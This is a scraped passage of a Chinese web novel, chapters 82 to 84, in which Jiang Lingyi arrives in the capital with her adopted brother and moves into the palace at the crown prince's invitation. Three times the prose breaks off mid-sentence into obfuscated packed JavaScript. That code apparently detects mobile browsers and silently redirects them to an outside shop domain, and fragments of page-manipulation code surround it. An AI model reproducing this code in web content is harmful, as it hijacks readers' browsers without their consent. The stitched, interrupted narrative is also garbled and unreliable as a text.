l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12961201|130828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚萧没意见,于敏之也不知道族谱有多庄重,稀里糊涂的就接过了族长的担子,连姓氏都没改,多罕见啊,姓于的人成了姜家的族长。 但是让姜令仪来说,规矩都是人定的,也应该是为人来服务,不能把人用条条框框给框住了,这也是于敏之加入姜家之后记住的第一件事:要灵活变通。 从提出这个想法,到实现这个提议,总共用了不到三个时辰。 现在,于敏之已经是正儿八经的姜家人,姜令仪的弟弟,楚怀谦的舅舅了。 按照姜令仪的想法,她本来是想让于敏之留在书院学习的,但是他的进度跟不上,书院招生也早就结束了,还没有出现过插班生的情况,就不让于敏之开这个口子了。 所以姜令仪和他商量着,想带他去京城,京城的教育资源多,找到合适的老师很容易,像于敏之这样基础不牢的学生,必须要找一个能引起他学习兴趣的老师,普通的照本宣科肯定是不行的。 但是在凉州,想给他找一个合心意的老师并不容易,再加上楚萧看过他的根骨,说他是天生习武的好料子,那姜令仪还想让他习武。 在这不算短的相处时间里,姜令仪觉得他在有些方面和自己很像,具体来说,应该是和前世的自己很像。 都是无父无母磕磕绊绊的长大,姜令仪还好一点,她在孤儿院里生活,好歹不用担心战乱和疾病,还能安安稳稳的读书。 于敏之就惨多了,他自己磕磕绊绊的长大,还能保持着自己的热情和善良,姜令仪人不对他更好一点,现在成了自己弟弟,那就更要多为他考虑了。 去京城带着他也是为了他长远考虑,但是他说,只要姜令仪需要他,去哪里他都没意见。 他这样重情重义,姜令仪也更加怜惜他。 但是还有一个问题,楚怀谦有一个舅舅的事情,他本人还不知道呢。 把告知楚怀谦的事情作为对楚萧的惩罚,姜令仪忍不住戳了戳他的胸口:“你就是太纵容他们了,所以不管是胖猫还是谦儿,都敢一次次的阳奉阴违,等日后,岂不是还要蹬鼻子上脸。” “他们还小,日后会稳重起来的。” 楚萧似乎对自家孩子格外有信心,丝毫不担心他们会被纵容的长歪了,振振有词的给他们找好了理由。 姜令仪美目一冷,斥他:“好孩子也能被惯坏了,咱们不帮着修剪歪枝残叶,迟早有一天会出事的,二哥,以后我罚他们的时候你不许给他们打掩护了。” 楚萧不说话。 好吧,这是不乐意了。 姜令仪拧他胳膊:“听到了吗?” “听到了。” 最终楚萧还是不情不愿的同意了,在给楚怀谦写信之前,还写了一个承诺书,保证以后绝对不会纵容孩子们,无条件配合姜令仪的教育。 只不过他的保证也用了点小心机,添了一句“严宽并济”,至于怎么算严,怎么算宽,姜令仪也没有问他,总算让楚萧松了口气。 “谦儿嘴上不说,实际上还是有些独占欲的,记得在信里好好跟他解释。” 许是一开始没有记忆,楚怀谦多少有一些没安全感,姜令仪早就察觉到了,如果她关心别的孩子,他倒不会吃醋也不会生气,但是如果对别的孩子的关注超过了他,他就暗戳戳的不高兴了。 现在他成了太子,本来就不能像以前那样一家人待在一起了,又突如其来的告知他姜令仪身边有了其他的孩子,想也知道他不可能会开心。 楚萧握笔的手僵硬了,迟迟下不了笔。 姜令仪闷笑,她佯作疑惑:“二哥,这是怎么了,为何不写呢?” 楚萧放下了笔,右手与她交握:“孩子们的事,还是让他们自己解决去吧。” 他说的义正辞严,把笔悄悄放下,打定主意不想写这封得罪儿子的信。 姜令仪笑着捏了捏他的手。 每个人的心都是偏的,楚萧觉得自家孩子哪哪都好,不舍得罚他们,姜令仪能严格对孩子,但是到了楚萧这里,她也就舍不得了。 这何尝不是她的偏心呢? 82. 第 82 章 82 在姜令仪的纵容下,楚萧写信的事情就不了了之了,姜令仪还是自己写信。 先告知了楚怀谦自己如何一路惊险脱困,于敏之又是如何机敏搭救她,再说她怜惜于敏之孤苦无依认了干亲,最后才提了一句她不日即将抵达京城的消息。 这也是她用了小小的技巧,也取得了不错的效果,信寄到后,楚怀谦先是因为她被掳的遭遇而紧张心疼,然后是对仗义出手的于敏之感恩,就算看到认了干亲而有一点小小的醋,不过在看到他们已经启程,这点小小的不舒服就被他扔到不知道哪里去了,满满的只剩下了开心。 按照送信的时间来估算,他们应该还有两三天就到了,楚怀谦又开心又有点小紧张,所以就开始折腾御膳房,想要让他们倒腾出一些合姜令仪口味的菜。 “要酸甜口的,嗯,还要试试做一下辣菜,不要用茱萸,用辣椒。”楚怀谦跟个监工一样,在御膳房指点江山:“诶呀,你们这太传统了,一点儿新意都没有,孤在凉州都不知道吃了多少次了,弄点创新菜出来。” 楚怀谦觉得他们实在是朽木不可雕也,还说什么御厨呢,比那些迂腐的大臣还难以交流。 其实这就是宫里人的通病了,不只是御厨,大部分宫里伺候的人,都是宁愿不出头,只求一个稳字的,不求出色,只要挑不出错就好了。 这膳房的菜谱都沿用了数百年,说好听点是祖宗传统,说难听一点,就是胆小怕事不敢创新,但这也是没办法的事情,皇宫是会吃人的,他们首先是要想保住自己的小命,然后再谈其他。 不过这些大厨也是真才实学,在楚怀谦亲自盯了两天之后,他们做菜的水平突飞猛进,比不得前世的花样多,也至少能抓住姜令仪的胃了。 御膳房的进展固然让人开心,只是姜令仪即将进京的消息,还是触动了不少人的心弦,他们没胆子对姜令仪做什么,要知道护送她的,可是楚家军精锐中的精锐,他们还不至于认为能刺杀成功。 有自知之明,不代表他们心里没这个想法,只不过是碍于实力没办法而已。 就算不能硬碰硬,他们不自在,也得在其他方面给找点不痛快,这不,一上朝,就有大臣开始上书参楚怀谦了。 “太子殿下,臣听闻殿下这几日都忙着让御膳房折腾膳食,一次都没有去问候过陛下,百善孝为先,您怎可因为口腹之欲而忽略君父呢?” 说话的是有监察百官之责的御史台官员,楚怀谦记得他好像是姓白,至于为什么记得他,那可就有话说了。 “白卿家中可是有一位八十岁的老母?老人家辛苦一辈子供你读书科举,如今官拜三品,怎么不见你把老人接到京中奉养?”他还是笑吟吟的模样,言语却如刀剑:“哦,孤想起来了,白卿和王卿还有亲戚关系啊?” 他一副恍然大悟的样子,知道内情的人却丝毫不敢认为这是他无意提到的,姓白的是个小角色,但是他背后的人,可是王丞相啊,事实也的确如此,楚怀谦此举,就是剑指王丞相。 他原本无害的眼睛倏然迸发出强烈的杀意:“来人,把他们两个拿下。” 楚怀谦近身伺候的侍卫都是楚萧给他挑的人,要是普通的侍卫,他们可能会摄于丞相威名不敢动手,但是楚家军现在只听太子的命令,他一下令,马上就把白姓御史和王丞相拿下。 楚怀谦满意的眯起了眼,状似无意的感叹:“诶,还是得要有用的顺手的人啊。” 底下的大臣一个个都低着头,恨不得研究出地板有多少条花纹,仿佛自己是聋子傻子,根本不知道太子的话是什么意思。 王丞相当了很多年的丞相了,在朝中党羽众多,姻亲关系错综复杂,几乎在朝中一手遮天,上辈子摄政王收集他的证据废了老大的劲,这次楚怀谦就捡了个现成,连他通敌的信件在哪里,楚怀谦都还记得。 趁着王丞相一派的人还没有反应过来,楚怀谦直接延长了朝会,派人把王丞相通敌的证据拿来,其余的证据再慢慢补充也不迟。 而在取回证据的那一刻,许多王丞相一派的人都是一副天塌了的表情,他们是真的不知道王丞相居然通敌啊。 楚怀谦又恢复了一贯温和的姿态:“孤知道许多爱卿是遭受了无妄之灾的,不知情者一律无罪,诸位乃肱骨之臣,孤一定不会听任贼人诬告的。” 这个贼人是谁,当然是王丞相了。 不少大臣都如释重负,他们虽然也有党派之争,但是不少人心里都还是想着让自己国家发展的更好的,如王丞相这般因为新旧政权更替,害怕自己权利架空就通敌叛国的,真的只是极个别的特例啊。 有了楚怀谦的保证很多人就安下了心,至少不用担心他们狗急跳墙,而楚怀谦也快刀斩乱麻,用绝对的武力压下了狡诈如狐的王丞相,他手里有兵,又占据大义,说又能说他做得不对呢? 这场早朝就以批判楚怀谦开始,然后楚怀谦把王丞相拉下马结束了,至于说他不孝的事情,谁还记得呢? 王丞相这么多年的经营,要说他一点儿私心都没有那是不可能的,人不就是这样吗,没钱没权的时候,就会可着劲儿的拼搏,一旦功成名就,就想着怎么扒拉点好处,八分给自己,两分散出去。 而王丞相贪到什么程度呢? 从丞相府抄家抄出来的的金银财宝,珍奇古玩流水似的抬出来,长长的看不到尾。在姜令仪抵达京城的时候,他的罪状还在一项一项往上添呢。 不过人早就已经处死了,剩下的都是他的身后事,端看几百年后史书如何记载他了,这些都不重要了,楚怀谦更关心的还是姜令仪的车队何时到来。 在京城最大的客栈里,楚怀谦在包厢,打开窗户向外张望:“不是说今天就到京城了吗,怎么还没来?” 他的近侍太监小福子躬身上前:“殿下,按照王妃娘娘车队的速度,应该快到了,您先坐下谢谢,奴才帮您看着。” 小福子是楚怀谦从掖廷要来的人,也是他上辈子最得用的心腹太监,现在的小福子年纪还不大,但是做事很有章法,知道楚怀谦惦记姜令仪,早就使人出城迎了,所以也知道他们车队今天到京城的消息。 楚怀谦并没有听他的劝回去歇着,反而更加努力的踮着脚,试图看的更远一点,也不知道过了多久,他终于看到了那辆熟悉的马车。 “来了,是我娘。” 楚怀谦顿时兴奋起来,兴冲冲的就往下跑,小福子也神色平静的跟着,好像根本不觉得听到的他对姜令仪的称呼有什么不对。 主要是他们随身伺候的都习惯了,私下里太子称呼摄政王妃一直都是以“娘”相称,刚开始可能还会有些惊讶,现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976538|130828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经完全适应了。 楚怀谦一开始还是端着仪态大步朝前走,后来就忍不住开始小跑起来了,等离的马车近了,他就跳起来挥手:“娘,我在这儿呢。” 这马车他熟悉极了,别看外表平平,内里却是极为舒适,是姜令仪花大功夫改造的,减震效果非常好,比普通那种恨不得把屁股颠成四瓣的马车,这辆车就平稳多了。 姜令仪掀开帘子,就看到了笑容像浸了蜜一样的楚怀谦,略一打量,也不知道是全天下的母亲是不是都这样,只觉得一段时间没见,这孩子肉眼可见的瘦了。 姜令仪狐疑的看着这兴奋挥手、笑的灿烂没有阴霾的少年,难得有点问不出口:“谦儿,这京城的厨师不合你胃口?怎么看起来瘦了这么多?” 楚怀谦原本阳光灿烂的表情瞬间垮下:“娘啊,你不知道我在京城有多难,人们常说京城大,居不易,原本我还不信邪,来这儿呆了一阵子,我总算是信了,京城不好混啊。” 姜令仪才不信他的话,楚萧对他的评价是“天生的帝王”,在朝中如鱼得水,刚刚不久前还听说他把丞相斩了,哪里是京城不好混,明明是在他手底下干活更不好混。 没一会儿,楚怀谦就忍不住说了自己的真实目的,他在姜令仪面前好像格外没耐心:“娘,你得陪陪我啊,不然我会被欺负的连渣渣都不剩的。” 他这样年轻,偏偏作出老气横秋的模样,旁边摆摊的老伯都被他逗笑了:“小公子说的也不错,但是公子和夫人看气度就不是常人,想来不该有如此感叹才对。” 楚怀谦对老伯拱了拱手:“钱我们是有,但是在这里光有钱还不行啊,一个砖头砸下去,就能砸中一个五品官,这里的人都不好惹,钱自然也不好赚。” 老伯把摊子上的菜往阴凉处挪了挪,分辨道:“这就是京城啊,不过咱们太子刚刚把王丞相下了狱,还减免了两年赋税,这几日都是来城里看热闹的,慢慢大家手里松快了,日子就好过起来了。” 他满脸沟壑,看起来就像是千千万万老百姓的缩影,劳碌一生,但是仍然对前路充满了希望,只要不把他压的那么紧,让他喘一口气,他就能缓过来接着活下去。 这就是老百姓啊。 楚怀谦对着他和蔼的笑容,却怎么也笑不出来了,姜令仪把他拉到身后,和老伯攀谈起来:“我刚从外地回来,听您这么说,咱们太子还算不错?” 老伯搓了搓手上的泥,应该是早上在地里摘菜时留下的,他说:“好啊,太子是个明眼人,他能看得见我们,一上任,就开始给老百姓减税,还要给我们修路,修路还有银子拿,一天还管三顿饭,我们村子里的年轻人都抢着报名呢。” 其实上位者如何,老百姓心里是很清楚的,有的人汲汲营营往高处爬,为的不过就是金玉财富光宗耀祖,他们不拿老百姓当人看,他们不是人,也不是畜生,只是可以供养他们的血肉。 谁对他们好,谁把他们放在心里,他们都能用眼看到,也会用心记住的。 被这样夸,素来脸皮很厚的楚怀谦忍不住脸红,留着姜令仪继续和人闲聊,自己手忙脚乱的爬上了马车。 一掀帘子,他就对上了一双绿莹莹的眼睛,此刻,楚怀谦也顾不上什么害羞了,他现在就一个想法。 好你个心机绿眼怪,他这是被偷家了啊。 83. 第 83 章 83 于敏之不知道楚怀谦经历了什么样的头脑风暴,见他上来,倏然扬起一个大大笑容,在他朴素的观念里,既然他和姜令仪成了一家人,那姜令仪的养子和他也是一家人。 楚怀谦不知道他的想法,那笑容在他看来简直就是挑衅。 刚刚把手握重权的王丞相干下位,被大臣们认为心机深沉的楚怀谦,现在却像真正的小孩子一样,别扭的转过头去不看他。 他可没那么傻,姜令仪刚认的弟弟,他如果明晃晃的针对,那不是打她的脸吗? 所以楚怀谦就打算无视他,拒绝他套近乎。 他这样的针对可不算是收敛了,至少一向粗线条的于敏之也能感觉到,好在他也理解,姜令仪跟他打过预防针,说楚怀谦是一个傲娇的小孩儿,看他的表现,确实如此。 “吃不吃?” 于敏之想了想,还是没有加上称呼,喊大外甥,他怕这个外甥更不好哄,喊太子,怕是马上就生气了,只能忽略了称呼,直接把小桌上的萨其马递了过去。 楚怀谦看着已经递到自己面前的萨其马,不情不愿的接了过来:“谢谢,这都是以前我吃过的,但是你都递给我了,我不好驳你的面子而已。” 其实吃萨其马都是前世的事情了,这辈子他还没有吃过,萨其马算是他最爱的一种零食,骤然和它重逢,伸着的手怎么也拿不回去了,楚怀谦一边吃一边暗道:肯定是年龄变小了影响了我的心智,不然我绝不会因为区区一块点心就向敌人示弱。 他这么说给自己挽尊,于敏之也没有戳破,他可是听褚玉苑的大厨念叨呢,说小少爷肯定爱吃这种新点心,一定要让姜令仪把方子带上,去了京城好让人做给他吃。 看他吃的开心,愉悦的翘着脚晃来晃去,于敏之就知道大厨说的没错,他确实是喜欢的。 于敏之也没急着和外甥拉近关系,他自认为年长几岁,辈分又高了一层,看楚怀谦始终带着包容和喜爱,这是他好不容易才有的家,自然是觉得哪哪都好,连楚怀谦的小脾气,在他看来都格外可爱。 楚怀谦被他慈爱的眼神看得浑身不自在,连手里的萨其马都不香了。那眼神儿,好像在看自家小肥猪吃东西,混合了欣慰和鼓励,好像在说:吃吧吃吧,吃的壮壮的,一会儿就把你杀了。 萨其马又被放到了盘子上,楚怀谦语气怀疑:“我娘喜欢英俊帅气的小伙子,你是不是想把我喂胖,然后独得我娘的宠爱,我告诉你,不可能,我才是我娘心里最喜欢的人。” 他犹豫了一下,改口道:“我可以让让我爹,但是你不行。” 于敏之还没说话,帘子就被打了起来,姜令仪上了马车,奇道:“这你也能给我安排好了?” 楚怀谦马上变成锯了嘴的葫芦,不肯回答她的问题了。 姜令仪也不意外他沉默的拒绝,好笑道:“我心里可是没有排名的,你这话让别人听了去,又来找我麻烦,我可是不认的。” 楚怀谦扯了扯袖子,看了于敏之一眼,又低下了头:“就我们三个在这里,要是传出去了,那肯定……哼。” 于敏之知道这是在点他,无奈道:“我不会说出去的。” 他还想说点什么,就看到姜令仪蠢蠢欲动的巴掌,立刻改口:“我没说你。” “叫小舅舅。” 姜令仪提醒他。 孩子们的事情她不插手,有她介入,两个人的关系说不定会越来越僵,小别扭她可以不管,但是称呼上不能糊弄。 楚怀谦不耐烦的小声叨叨:“舅舅。” 一巴掌拍在他后背上,姜令仪皱眉训他:“没吃饱?大点声儿。” 楚怀谦坐正,气沉丹田:“小舅舅。” 于敏之笑了起来,小虎牙都露出来了:“诶。” 姜令仪连他一起训:“要是他再对你出言不逊,要有长辈的样子,该打打该骂骂,不许一直笑。” 于敏之还是咧嘴笑:“知道了姐姐。” 楚怀谦气的咬牙,这可是他上辈子的对手啊,是宿敌,是平辈,他现在还要开开心心的喊他舅舅。 嗨呀,越想越气。 要说楚怀谦没什么坏心思,姜令仪是信的。 所以姜令仪不管他们两个的眉眼官司,使人驱车到了将军府。 没错,京城也是有将军府的,并且面积还不小,只不过楚将军和如安公主两个人一直在凉州,京城的将军府基本上没人住,只有一批宫里派来的奴才守着房子,每日清扫卫生。 不光是将军府,京城还有如安公主的公主府,他们已经说好了,等日后楚将军夫妻俩游历回来了,他们两个就住在公主府,现在的楚萧是大将军,姜令仪就跟他住在将军府。 先前已经遣人来收拾了将军府,不必她操心,钱津津已经给她办的妥帖,且有楚怀谦这一霸盯着,虽说他出宫不怎么方便,但是敲打皇宫里的奴才,也就是他一句话的事情。 没一会儿,楚怀谦就忍不住絮叨:“娘,你不知道宫里的奴才有多过分,时间长了,他们都把将军府当自己的家了,要不是这次你回来,将军府迟早被他们掏空。” 姜令仪兀自盘点账本,好似没有听到他给自己表功。 她不理人,楚怀谦也不尴尬,继续道:“我让小福子去抄了他们的家,小福子就是刚刚跟着我的小太监,那些人家里都有好些金银呢,都是变卖了将军府的私产得来的,最多的居然有上万两现银,真是养了一窝硕鼠啊。” 于敏之有些不解:“将军府不是没人吗?怎么他们还能贪那么多?” 这时候楚怀谦也不闹脾气了,兴致勃勃的和他解释:“将军府有许多赐下的贡品,有打着皇室印记的不能变卖,剩下的他们就和一家专门制作赝品的作坊合作,把这些价值连城的宝物偷偷替换了卖掉。” 这些都是难得的珍品,自然能卖的上价格,且这作坊还不止是跟一家合作,把作坊查封了以后,他们吐露,很多高门大户都有被底下奴才糊弄,贵重的花瓶、摆件他们都不知道仿了多少件了。 知道这件事的时候,刚刚和朝中大臣打完太极的楚怀谦心中的气瞬间平了,他就当和一群脑子不太好使的人说话,他们智商不行,他让让他们。 楚将军他们多少年不回来一趟,底下的奴才起了贪心很正常,但是这些自诩治家严谨的世家门阀,也被欺上瞒下,这家风看来也不太行啊。 为这,楚怀谦私底下和小福子幸灾乐祸了好久,不知道等他们发现的时候,会不会恼羞成怒的晕过去。 没错,楚怀谦这个看热闹不嫌事大的,他没把这件事告诉他们,让他们跟他作对不想封摄政王,到时候气死他们。 要是真的能把他们气死,楚怀谦就大度的判他们这些作假的人无罪了。 没一会儿,姜令仪就看到两个小脑袋凑到一起嘀嘀咕咕的了,她笑着摇摇头,又继续看京城铺子的账本。 京城里早就有了香皂和白糖的铺子,这里富贵人家多,凡是稀罕物,不管价格多高,总是能卖出去的,为此,姜令仪还生了把玻璃铺子开过来的心思。 但是这个念头没过多久就被她自己掐灭了,这里是卖玻璃的好地方,但是到底山高水远,姜令仪恐怕京城想吃楚家生意的大有人在。 不过现在又不一样了,楚怀谦成了太子,虽说现在他的地位稳固,看起来是板上钉钉的下一任继承人,但是姜令仪也不敢掉以轻心,权力之争向来残酷,难免会有人杀敌一千自损八百,还有抱着扶持幼童自己掌权的想法,这些都不得不防。 要说起来,楚怀谦这个年纪,也勉强能挟天子以令诸侯,要是没有楚萧的话。 可偏偏,就冒出来了一个楚萧,还不是他自己要求的,是楚怀谦自己一拍脑袋下的决定,他们之间的关系,已经很难有人能越过楚萧来掌权了。 楚怀谦大了,也需要有自己的人手,怎么收买人心,真金白银才最实惠,他不是要修路吗,修路自然要征集壮劳力来干活,那能让他们白白干活吗?只有昏庸无能的掌权者才会往死里压榨平民百姓。 所以楚怀谦手里还是得有钱的,国库有钱也不是他的钱,姜令仪打算把玻璃坊这个会下蛋的金母鸡给了他,以后他肯定就不愁钱了。 说起来姜令仪对钱并没有什么执念,她现在都不知道自己的身家有多么丰厚,且相比起来,她赚钱的能力比之她娘留下的钱庄还是逊色不少的。 将军府很快就到了,很大很空旷,也有了点破败的迹象,到底是多年不住,再好的建筑没有修缮和保养,看起来也不像样子了。 “公主府也是这样吗?” 楚怀谦:“那里要好一点,时不时会有皇家养的工匠定期维护,但是嘛,您也是知道我父皇那个人的,他的行宫都多到修不完,怎么可能专门指人去给不亲近的姐姐修,所以这好一点,还真的就是是好一点。” 他这样大逆不道的说自己的父皇,连声音都只压低了一点点,丝毫没有觉得自己说话有什么问题,而于敏之,他好像也觉得没啥问题。 姜令仪恍惚觉得,是不是自己才是那个对皇权敬畏的古代人,还是现在的人都不怎么害怕皇帝? 虽有一瞬间的怀疑自己,但是紧接着,姜令仪就狠狠揪了他耳朵一下:“不许瞎说。” 楚怀谦撇嘴:“本来就是嘛。” 就算事实本来如此,那也不该由身为人子的他来说,三纲五常中的“君为臣纲,父为子纲,夫为妻纲”,皇帝既是君,又是父,他不该,也不能这么放肆评判。 楚怀谦知道这是为了他好,这个时代就是这样的,他封建又固执,苦守着数百年的传统不允许人们反驳,说这是礼,这是孝,这是圣贤的教导。 但是圣贤说的就一定是正确的吗? 棍棒底下出孝子的言论一定正确吗? 楚怀谦不知道。 但是他知道的是,他娘肯定不赞成打骂孩子的。 如果他做错了事,她会让他自己反思错在哪里了,然后写出错误的地方还有如何改正,挨打也有可能,但她不会上来就劈头盖脸一顿打骂,仿佛只是为了让他俯首于父母的权威而认错。 她不会这样做的。 楚怀谦做梦都想在姜令仪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986792|130828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膝下无忧无虑的长大,哪怕最后是一个只知道吃喝玩乐的小傻子,他也愿意。 没想到兜兜转转,这一世真的全了他们的母子亲缘,他也父母双全了。 将军府是住不成了,这就体现了早做准备的好处,他可是早早就把宫殿收拾好了啊。 清了清嗓子,楚怀谦背着手,淡淡发出邀请:“宫里倒是正好有一处大殿,收拾的也还算整洁,住两个人绰绰有余,娘,你带着他……” 被瞪了一眼,他委屈改口:“带着小舅舅去住一阵子呗,等将军府修好了,你们再搬回来。” “这于理不合。” 楚怀谦也顾不上装淡定了,他恨铁不成钢的跺脚:“你怎么这么迂腐?明月宫是归属在前朝的,不属于后宫,我保证不会让宫里其他人麻烦你的,到时候让小舅舅跟我一起读书习武啊,现在有很多大儒教我,演武场也很大,想跑马都没问题,娘,你就去吧。” 姜令仪懒得跟他争辩,不过仔细想想,去宫里住也没什么不好,连于敏之的上学问题都解决了,能教太子的老师,搁现代怎么着也得是个院士,让他们小班授课,听到就是赚到了。 “离宫门近不近?我还得时常出来,最好进出皇宫方便一点。” 不怕她提要求,就怕她不提要求,听这话的意思,她心里肯定是松动了,楚怀谦原本还委屈巴巴的眸子顿时亮了起来:“离得特别近,走两步路就到了,我专门给你挑的地方,里面的装饰都是按你的喜好布置的,花了好长时间呢。” 姜令仪摸了摸他的头,松口道:“我知道你的心意,是不是自己在宫里害怕?哪怕我什么都不懂,也知道你现在是怎样的处境,我不想进宫,只是怕又有人以此为借口攻讦你。” 楚怀谦躲进她的怀里,暖暖的,很温柔:“娘,我不怕,我想让你陪着我。” 有王丞相的前车之鉴,想来那些大臣也不敢再叽叽歪歪了。 就和一句话,让姜令仪鼻子都有些发酸,也触动了自小没有亲人的于敏之,他忍不住也给楚怀谦搭腔:“姐姐,我还没见过皇宫呢……” 这意思,就是他也想见识见识,这不见得是他真的想进宫见识一下,只不过是想跟楚怀谦站在一条战线上而已。 姜令仪轻轻拍着楚怀谦的背,像是在抚摸一只大猫:“那好,我也想见识见识皇宫长什么模样。” 她还真没有见过这个时代的皇宫,不过想来都是一样的威严辉煌,毕竟,这可是全天下最尊贵的地方,也是金玉砌成的牢笼,既是牢笼,那总得有让人甘愿待在里面的实力。 就这样,马车拐了一个道,晃晃悠悠的朝着皇宫去了,路上楚怀谦给他们说了宫里需要注意的事情:“其实也没什么需要注意的,那些有名有姓的娘娘不多,身份最高的就是贵妃了,不过贵妃一直在照顾皇上,轻易不出门,反正都不是什么要紧的人,咱们得罪谁都不怕。” 楚怀谦这话说的格外有底气,现在的皇帝虽然有时候格外拎不清,也算不上什么明君,但是他对贵妃也算得上是真爱了,后宫里基本上就是小猫三两只,两只手都数得过来。 不过这样的深情,在姜令仪看来也挺扯淡:“如果真的喜欢一个人,那肯定是会有独占欲的,不止爱情,亲情友情皆是如此,就像你和好兄弟在一起玩耍,如果他有一天跟其他人去玩儿了,你可能就会觉得失落,有了被背叛的感觉,这种感觉在爱情中理应更甚。” 要单说爱情,上辈子身体不好,到死都是孤家寡人的楚怀谦可能不理解,但是这样说,他就很能共情,一想到姜令仪会喜欢除了他以外的孩子,他也会格外不舒服。 这样看,皇帝对贵妃的爱意也实在浅薄。 楚怀谦满是同情:“皇帝喜欢柔弱无骨的纤瘦美人,整个皇宫里,就皇后和贵妃两个人整日里保持身形,别说吃饭了,吃菜叶子都得数着吃了几片,被宠爱的福他们是一点没享,受的苦却是丁点不落。” 其他娘娘自知在皇帝心里没有地位,也不期望得到宠爱,所以该吃吃,该喝喝,从来没有把皇帝的喜好放在心里,但是贵妃是皇帝的宠妃,皇后是真的爱重皇帝,所以他们两个才心甘情愿的为了皇帝的喜欢折磨自己。 别的不说,正常人谁能几十年不吃米面呢? 她们两个就能做到。 楚怀谦不禁唏嘘:“这可是真爱啊。” “小孩子家家的说什么情情爱爱的。”姜令仪打断了他一个小屁孩对爱情的感叹,压低声音问:“皇上真的中风瘫痪了吗?他是一点儿都动不了了?” “千真万确。” 中风瘫痪在现在算得上是绝症了,就算用贵重药材吊着,有医术高超的太医诊治,那恢复的可能性也是很小的,再乐观一点,要是诊治有了进展,皇帝能熬的过复健的折腾吗? 很难。 于敏之:“我见过瘫痪了好起来的人啊,只要坚持每天走动走动,两三年就好了,皇宫里这么富贵,要想着好起来不是更容易吗?” 楚怀谦摇头:“他不可能好起来的。” 他说的非常坚定,又带着些不明的意味。 84. 第 84 章 84 在楚怀谦的盛情之下,姜令仪二人直接拎包入住了明月宫,也确实如他所说,这里是精心准备过的,就连院子里都移栽了姜令仪喜欢的桃树。 楚怀谦充分发挥了主场优势,带着他们两个转了一圈:“怎么样?喜欢吗?要是有不合心意的地方就直接跟我说,马上就改。” 自然没有什么不合意的地方,从草木到摆设,处处都可见的精心,姜令仪微笑点头:“已经很好了,谦儿费心了。” 得了夸奖,楚怀谦反而没有为自己邀功,指出妻子的不足:“等着玻璃坊建起来了,就换上玻璃窗,现在看着还是不太通透。” 他是知道姜令仪要在京城开玻璃坊的,这里面还有他的原因呢,说起来还有点小骄傲。 姜令仪指挥人把他们的行礼放进去,这次出行带的东西不多,她是受不了搬个家恨不得把所有的东西都搬走的做法,反正她有钱,来了京城再买也是一样的。 归置好东西,就开始吃饭了,这是在皇宫里的第一餐,姜令仪吃着味道却格外顺口,大部分都是她喜欢的口味:“这个味道很好啊,比咱们家专门研究辣椒的厨子也不遑多让了。” 楚怀谦见她吃得高兴,并没有因为舟车劳顿失去胃口,就大手一挥:“御膳房做的不错,赏!” 就这样,辛辛苦苦研发了半个月的菜品,终于得了赏的御膳房众人差点喜极而泣,幸好啊,这小祖宗总算满意了。 皇宫的人早就在楚怀谦刚回来就狠狠换了一批,原来的御膳房是油水很多的地方,采买的权利掌握在他们手里真的是想捞多少捞多少,且御膳房的管事大多背景深厚,错综复杂的关系让楚怀谦都一刀砍了,既然他决定让姜令仪住到宫里,那御膳房就绝不能出事。 现在的御厨都是一些手艺不错但没什么背景的,他们捧着手里的赏银,不约而同的看向了御膳房的一个胖大厨,这胖大厨是他们中间资历最深的一个了,是现在御膳房默认的管事。 胖大厨环顾一周,恨铁不成钢:“这都是太子殿下的赏赐,还不赶快露两手自己的拿手菜,好让殿下记住咱们。” 真真是一群榆木脑袋。 等众人散去,他的徒弟才不解的问:“师傅,太子殿下也不是重口腹之欲的人啊,而且咱们的拿手菜太子也都是吃过的,也没见殿下喜欢什么,现在再做一遍还有用吗?” 这个徒弟是胖大厨亲自挑的,做饭的天赋是有,还有一个金舌头,但就是人太直楞了,不会什么弯弯绕绕的,要不是有自己看着,这小子都不知道死了多少回了,不过话说回来,他要真是那种特别油滑的,估计也得不到他的青眼。 对着自己的小徒弟,胖大厨明显耐心了很多:“太子早不赏,晚不赏,为什么偏偏这个赏咱们?还不是因为进宫的王妃娘娘?你且瞧好了吧,得了这位贵人的一句赞,比对了太子的胃口还重要。” 还不知道已经被认为比太子还重要的姜令仪,见伺候的人都出去了,她也不藏着掖着:“谦儿,我打算把玻璃坊交给你,你有没有相用的人,直接让他去接手玻璃坊吧。” 说到这儿,她笑了笑:“说起来我还没送你什么礼物,这个就算是你找回记忆的礼物了。” 现在的风气好像就是如此,父母对儿女的事情有指手画脚的权利,就算你不喜欢也没用,那可是父母给你的,你要是不做,那就是不孝。 姜令仪不想让楚怀谦也觉得她是如此专制的大人,所以又问了一句:“行吗?” 行吗? 当然行啊。 如果这是羞辱,楚怀谦恨不得当场大喊“来吧,把钱狠狠地砸我头上,赶紧来羞辱我吧。” 这可是真金白银,不要的是傻蛋。 他快速说出几个名字:“他们都是支持正统的人,娘可以派人去看看,觉得谁合适就让谁干活吧。” 这几个人是坚持嫡子继位,并且是真正的为国为民,虽说思想有些老旧,但也不是不能忍,这些人用着不怕被人撬墙角。 